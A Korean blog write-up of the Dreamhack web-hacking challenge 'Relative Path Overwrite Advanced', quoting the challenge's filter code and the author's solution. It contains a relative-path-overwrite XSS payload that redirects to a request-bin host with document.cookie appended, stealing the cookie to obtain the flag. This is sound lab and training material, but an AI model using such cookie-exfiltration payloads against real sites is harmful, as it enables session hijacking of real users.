SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/Dreamhack

[Dreamhack] Relative Path Overwrite Advanced

SlowTurtle_ 2023. 1. 10. 17:08
728x90

[Dreamhack] Relative Path Overwrite Advanced

바뀐 부분만 좀 봤더니

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter === 'undefined') {
        param = "nope !!";
    }
    else {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

var url =~ 과 if절에 filter !==가 filter ===로 바뀌었다. url변수에 새로운 url을 받아오는 것을 알 수 있었고 filter가 undifined되면 바로 nope !!을 출력한다는 것을 알았다.

var filter = ["script", "on", "frame", "object"];

fiter.js는 동일하게 script, on, frame, object로 동일했다.

advanced에서 핵심은 filter.js를 어떻게하면 발동하지 않고 지나갈까이다. 

상대경로니 처음에 학습했던대로

/vuln.php/;alert(1);//

alert(1)을 하고 뒷 부분의 자바스크립트를 주석처리했다. 주석처리하는 이유는 자바스크립트는 코드 내에서 에러가 발생하면 코드 전체를 실행하지 않기 때문에 자바스크립트의 문법에러를 방지하기 위하여 주석처리했다.

잘 실행이 됐다.

함께 실습 때 했던 방식을 생각했다. filter를 undefind시키기 위해 값을 내가 주면 되겠다싶었다.

index.php/;location.href='https://ynnhocz.request.dreamhack.games/'+document.cookie;//?page=vuln&param=dreamhack

alert(1)부분에 location.href로 드림핵 툴로 받은 url을 넣고 document.cookie를 통해서 쿠키를 읽어왔다. 뒤는 //로 어차피 주석처리하니 무시해도 된다. 위 코드를 제출했더니 

flag를 획득했다.

728x90

'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글

[Dreamhack] DOM XSS  (0) 2023.01.10
[Dreamhack] XS-Search  (0) 2023.01.10
[Dreamhack] Relative Path Overwrite  (0) 2023.01.10
[Dreamhack] CSS Injection  (0) 2023.01.10
[Dreamhack] Client Side Template Injection  (0) 2023.01.10